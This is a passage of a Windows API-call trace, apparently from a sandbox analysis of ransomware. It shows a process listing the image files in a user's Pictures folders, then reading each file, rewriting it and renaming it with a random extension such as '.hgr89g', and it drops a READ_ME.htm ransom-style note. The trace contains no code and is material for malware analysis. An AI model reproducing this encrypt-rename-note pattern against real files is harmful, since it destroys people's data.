FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3230c060, ftCreationTime.dwHighDateTime=0x1d8bbff, ftLastAccessTime.dwLowDateTime=0x79e4f080, ftLastAccessTime.dwHighDateTime=0x1d8bdca, ftLastWriteTime.dwLowDateTime=0x79e4f080, ftLastWriteTime.dwHighDateTime=0x1d8bdca, nFileSizeHigh=0x0, nFileSizeLow=0x2ec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UfIU4AupJZ3uu6W Tr4v.jpg", cAlternateFileName="UFIU4A~1.JPG")) returned 1 [0156.676] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x348276e0, ftCreationTime.dwHighDateTime=0x1d8b35f, ftLastAccessTime.dwLowDateTime=0xc79e33c0, ftLastAccessTime.dwHighDateTime=0x1d8ba7a, ftLastWriteTime.dwLowDateTime=0xc79e33c0, ftLastWriteTime.dwHighDateTime=0x1d8ba7a, nFileSizeHigh=0x0, nFileSizeLow=0x10fd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="V1tLRl90VOX8.png", cAlternateFileName="V1TLRL~1.PNG")) returned 1 [0156.676] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd8c48d0, ftCreationTime.dwHighDateTime=0x1d8b0b8, ftLastAccessTime.dwLowDateTime=0xeb672f60, ftLastAccessTime.dwHighDateTime=0x1d8bad8, ftLastWriteTime.dwLowDateTime=0xeb672f60, ftLastWriteTime.dwHighDateTime=0x1d8bad8, nFileSizeHigh=0x0, nFileSizeLow=0x9e22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vo4gsYK2j.bmp", cAlternateFileName="VO4GSY~1.BMP")) returned 1 [0156.676] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd8c48d0, ftCreationTime.dwHighDateTime=0x1d8b0b8, ftLastAccessTime.dwLowDateTime=0xeb672f60, ftLastAccessTime.dwHighDateTime=0x1d8bad8, ftLastWriteTime.dwLowDateTime=0xeb672f60, ftLastWriteTime.dwHighDateTime=0x1d8bad8, nFileSizeHigh=0x0, nFileSizeLow=0x9e22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vo4gsYK2j.bmp", cAlternateFileName="VO4GSY~1.BMP")) returned 0 [0156.676] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.676] SetErrorMode (uMode=0x0) returned 0x1 [0156.677] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif", lpFilePart=0x0) returned 0x30 [0156.677] SetErrorMode (uMode=0x1) returned 0x0 [0156.677] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\6gedvzwu.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.677] GetFileType (hFile=0x1d0) returned 0x1 [0156.677] SetErrorMode (uMode=0x0) returned 0x1 [0156.677] GetFileType (hFile=0x1d0) returned 0x1 [0156.677] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x14619 [0156.677] ReadFile (in: hFile=0x1d0, lpBuffer=0x29a1560, nNumberOfBytesToRead=0x14619, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29a1560*, lpNumberOfBytesRead=0x21d418*=0x14619, lpOverlapped=0x0) returned 1 [0156.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif", lpFilePart=0x0) returned 0x30 [0156.778] SetErrorMode (uMode=0x1) returned 0x0 [0156.778] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\6gedvzwu.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.780] GetFileType (hFile=0x1d0) returned 0x1 [0156.780] SetErrorMode (uMode=0x0) returned 0x1 [0156.780] GetFileType (hFile=0x1d0) returned 0x1 [0156.780] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d2a08*, nNumberOfBytesToWrite=0x14620, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28d2a08*, lpNumberOfBytesWritten=0x21d498*=0x14620, lpOverlapped=0x0) returned 1 [0156.783] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif", lpFilePart=0x0) returned 0x30 [0156.783] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif.hgr89g", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif.hgr89g", lpFilePart=0x0) returned 0x37 [0156.783] SetErrorMode (uMode=0x1) returned 0x0 [0156.783] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\6gedvzwu.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad5fe030, ftCreationTime.dwHighDateTime=0x1d8b55c, ftLastAccessTime.dwLowDateTime=0x11e6ac60, ftLastAccessTime.dwHighDateTime=0x1d8b63d, ftLastWriteTime.dwLowDateTime=0x59ec8920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14620)) returned 1 [0156.783] SetErrorMode (uMode=0x0) returned 0x1 [0156.783] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\6gedvzwu.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\6GeDVzWU.gif.hgr89g" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\6gedvzwu.gif.hgr89g")) returned 1 [0156.784] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg", lpFilePart=0x0) returned 0x3c [0156.784] SetErrorMode (uMode=0x1) returned 0x0 [0156.785] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\ufiu4aupjz3uu6w tr4v.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.785] GetFileType (hFile=0x1d0) returned 0x1 [0156.785] SetErrorMode (uMode=0x0) returned 0x1 [0156.785] GetFileType (hFile=0x1d0) returned 0x1 [0156.785] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x2ec5 [0156.785] ReadFile (in: hFile=0x1d0, lpBuffer=0x28e8010, nNumberOfBytesToRead=0x2ec5, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28e8010*, lpNumberOfBytesRead=0x21d418*=0x2ec5, lpOverlapped=0x0) returned 1 [0156.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg", lpFilePart=0x0) returned 0x3c [0156.802] SetErrorMode (uMode=0x1) returned 0x0 [0156.803] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\ufiu4aupjz3uu6w tr4v.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.804] GetFileType (hFile=0x1d0) returned 0x1 [0156.804] SetErrorMode (uMode=0x0) returned 0x1 [0156.804] GetFileType (hFile=0x1d0) returned 0x1 [0156.804] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d6840*, nNumberOfBytesToWrite=0x2ed0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29d6840*, lpNumberOfBytesWritten=0x21d498*=0x2ed0, lpOverlapped=0x0) returned 1 [0156.805] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg", lpFilePart=0x0) returned 0x3c [0156.806] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg.ojft9j", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg.ojft9j", lpFilePart=0x0) returned 0x43 [0156.806] SetErrorMode (uMode=0x1) returned 0x0 [0156.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\ufiu4aupjz3uu6w tr4v.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3230c060, ftCreationTime.dwHighDateTime=0x1d8bbff, ftLastAccessTime.dwLowDateTime=0x79e4f080, ftLastAccessTime.dwHighDateTime=0x1d8bdca, ftLastWriteTime.dwLowDateTime=0x59f14be0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2ed0)) returned 1 [0156.806] SetErrorMode (uMode=0x0) returned 0x1 [0156.806] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\ufiu4aupjz3uu6w tr4v.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\UfIU4AupJZ3uu6W Tr4v.jpg.ojft9j" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\ufiu4aupjz3uu6w tr4v.jpg.ojft9j")) returned 1 [0156.811] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png", lpFilePart=0x0) returned 0x34 [0156.811] SetErrorMode (uMode=0x1) returned 0x0 [0156.811] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\v1tlrl90vox8.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.811] GetFileType (hFile=0x1d0) returned 0x1 [0156.811] SetErrorMode (uMode=0x0) returned 0x1 [0156.811] GetFileType (hFile=0x1d0) returned 0x1 [0156.811] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x10fd1 [0156.812] ReadFile (in: hFile=0x1d0, lpBuffer=0x29da650, nNumberOfBytesToRead=0x10fd1, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29da650*, lpNumberOfBytesRead=0x21d418*=0x10fd1, lpOverlapped=0x0) returned 1 [0156.906] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png", lpFilePart=0x0) returned 0x34 [0156.906] SetErrorMode (uMode=0x1) returned 0x0 [0156.906] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\v1tlrl90vox8.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.908] GetFileType (hFile=0x1d0) returned 0x1 [0156.908] SetErrorMode (uMode=0x0) returned 0x1 [0156.908] GetFileType (hFile=0x1d0) returned 0x1 [0156.909] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e9a88*, nNumberOfBytesToWrite=0x10fe0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28e9a88*, lpNumberOfBytesWritten=0x21d498*=0x10fe0, lpOverlapped=0x0) returned 1 [0156.912] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png", lpFilePart=0x0) returned 0x34 [0156.912] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png.mjm4gs", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png.mjm4gs", lpFilePart=0x0) returned 0x3b [0156.913] SetErrorMode (uMode=0x1) returned 0x0 [0156.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\v1tlrl90vox8.png"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x348276e0, ftCreationTime.dwHighDateTime=0x1d8b35f, ftLastAccessTime.dwLowDateTime=0xc79e33c0, ftLastAccessTime.dwHighDateTime=0x1d8ba7a, ftLastWriteTime.dwLowDateTime=0x5a01f580, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10fe0)) returned 1 [0156.913] SetErrorMode (uMode=0x0) returned 0x1 [0156.913] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\v1tlrl90vox8.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\V1tLRl90VOX8.png.mjm4gs" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\v1tlrl90vox8.png.mjm4gs")) returned 1 [0156.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0156.916] SetErrorMode (uMode=0x1) returned 0x0 [0156.916] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0156.917] GetFileType (hFile=0x1d0) returned 0x1 [0156.917] SetErrorMode (uMode=0x0) returned 0x1 [0156.917] GetFileType (hFile=0x1d0) returned 0x1 [0156.917] WriteFile (in: hFile=0x1d0, lpBuffer=0x28feb80*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28feb80*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0156.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni", lpFilePart=0x0) returned 0x2c [0156.919] SetErrorMode (uMode=0x1) returned 0x0 [0156.919] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcad0be40, ftCreationTime.dwHighDateTime=0x1d8c089, ftLastAccessTime.dwLowDateTime=0x63d9c0a0, ftLastAccessTime.dwHighDateTime=0x1d8c102, ftLastWriteTime.dwLowDateTime=0x63d9c0a0, ftLastWriteTime.dwHighDateTime=0x1d8c102, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.919] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcad0be40, ftCreationTime.dwHighDateTime=0x1d8c089, ftLastAccessTime.dwLowDateTime=0x63d9c0a0, ftLastAccessTime.dwHighDateTime=0x1d8c102, ftLastWriteTime.dwLowDateTime=0x63d9c0a0, ftLastWriteTime.dwHighDateTime=0x1d8c102, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.919] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17cdc020, ftCreationTime.dwHighDateTime=0x1d8b136, ftLastAccessTime.dwLowDateTime=0x57617540, ftLastAccessTime.dwHighDateTime=0x1d8b9df, ftLastWriteTime.dwLowDateTime=0x57617540, ftLastWriteTime.dwHighDateTime=0x1d8b9df, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="2rQiSlDpO4fwQ3nAaWxD.jpg", cAlternateFileName="2RQISL~1.JPG")) returned 1 [0156.920] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203f7540, ftCreationTime.dwHighDateTime=0x1d8b515, ftLastAccessTime.dwLowDateTime=0x65cdfb10, ftLastAccessTime.dwHighDateTime=0x1d8bc16, ftLastWriteTime.dwLowDateTime=0x65cdfb10, ftLastWriteTime.dwHighDateTime=0x1d8bc16, nFileSizeHigh=0x0, nFileSizeLow=0x74d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9mAR_f4ruqv1If5F lk0.png", cAlternateFileName="9MAR_F~1.PNG")) returned 1 [0156.920] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x939e5420, ftCreationTime.dwHighDateTime=0x1d8b5d8, ftLastAccessTime.dwLowDateTime=0x825f7c30, ftLastAccessTime.dwHighDateTime=0x1d8b659, ftLastWriteTime.dwLowDateTime=0x825f7c30, ftLastWriteTime.dwHighDateTime=0x1d8b659, nFileSizeHigh=0x0, nFileSizeLow=0x144b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="L9bVBQTdPu.gif", cAlternateFileName="L9BVBQ~1.GIF")) returned 1 [0156.920] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43ca8a0, ftCreationTime.dwHighDateTime=0x1d8b90e, ftLastAccessTime.dwLowDateTime=0xa51b7fd0, ftLastAccessTime.dwHighDateTime=0x1d8bb45, ftLastWriteTime.dwLowDateTime=0xa51b7fd0, ftLastWriteTime.dwHighDateTime=0x1d8bb45, nFileSizeHigh=0x0, nFileSizeLow=0xcee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pug7GCbO20-2i-2ey5N.jpg", cAlternateFileName="PUG7GC~1.JPG")) returned 1 [0156.920] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c088e0, ftCreationTime.dwHighDateTime=0x1d8bc53, ftLastAccessTime.dwLowDateTime=0x6499a930, ftLastAccessTime.dwHighDateTime=0x1d8bd68, ftLastWriteTime.dwLowDateTime=0x6499a930, ftLastWriteTime.dwHighDateTime=0x1d8bd68, nFileSizeHigh=0x0, nFileSizeLow=0x9e03, dwReserved0=0x0, dwReserved1=0x0, cFileName="qs5-GxiBYrtogzhqzA1S.png", cAlternateFileName="QS5-GX~1.PNG")) returned 1 [0156.920] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t8c4s QgxZhGJp90o", cAlternateFileName="T8C4SQ~1")) returned 1 [0156.920] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t8c4s QgxZhGJp90o", cAlternateFileName="T8C4SQ~1")) returned 0 [0156.920] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.921] SetErrorMode (uMode=0x0) returned 0x1 [0156.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni", lpFilePart=0x0) returned 0x2c [0156.921] SetErrorMode (uMode=0x1) returned 0x0 [0156.921] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcad0be40, ftCreationTime.dwHighDateTime=0x1d8c089, ftLastAccessTime.dwLowDateTime=0x63d9c0a0, ftLastAccessTime.dwHighDateTime=0x1d8c102, ftLastWriteTime.dwLowDateTime=0x63d9c0a0, ftLastWriteTime.dwHighDateTime=0x1d8c102, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.921] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcad0be40, ftCreationTime.dwHighDateTime=0x1d8c089, ftLastAccessTime.dwLowDateTime=0x63d9c0a0, ftLastAccessTime.dwHighDateTime=0x1d8c102, ftLastWriteTime.dwLowDateTime=0x63d9c0a0, ftLastWriteTime.dwHighDateTime=0x1d8c102, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.922] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17cdc020, ftCreationTime.dwHighDateTime=0x1d8b136, ftLastAccessTime.dwLowDateTime=0x57617540, ftLastAccessTime.dwHighDateTime=0x1d8b9df, ftLastWriteTime.dwLowDateTime=0x57617540, ftLastWriteTime.dwHighDateTime=0x1d8b9df, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="2rQiSlDpO4fwQ3nAaWxD.jpg", cAlternateFileName="2RQISL~1.JPG")) returned 1 [0156.922] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203f7540, ftCreationTime.dwHighDateTime=0x1d8b515, ftLastAccessTime.dwLowDateTime=0x65cdfb10, ftLastAccessTime.dwHighDateTime=0x1d8bc16, ftLastWriteTime.dwLowDateTime=0x65cdfb10, ftLastWriteTime.dwHighDateTime=0x1d8bc16, nFileSizeHigh=0x0, nFileSizeLow=0x74d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9mAR_f4ruqv1If5F lk0.png", cAlternateFileName="9MAR_F~1.PNG")) returned 1 [0156.922] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x939e5420, ftCreationTime.dwHighDateTime=0x1d8b5d8, ftLastAccessTime.dwLowDateTime=0x825f7c30, ftLastAccessTime.dwHighDateTime=0x1d8b659, ftLastWriteTime.dwLowDateTime=0x825f7c30, ftLastWriteTime.dwHighDateTime=0x1d8b659, nFileSizeHigh=0x0, nFileSizeLow=0x144b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="L9bVBQTdPu.gif", cAlternateFileName="L9BVBQ~1.GIF")) returned 1 [0156.922] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43ca8a0, 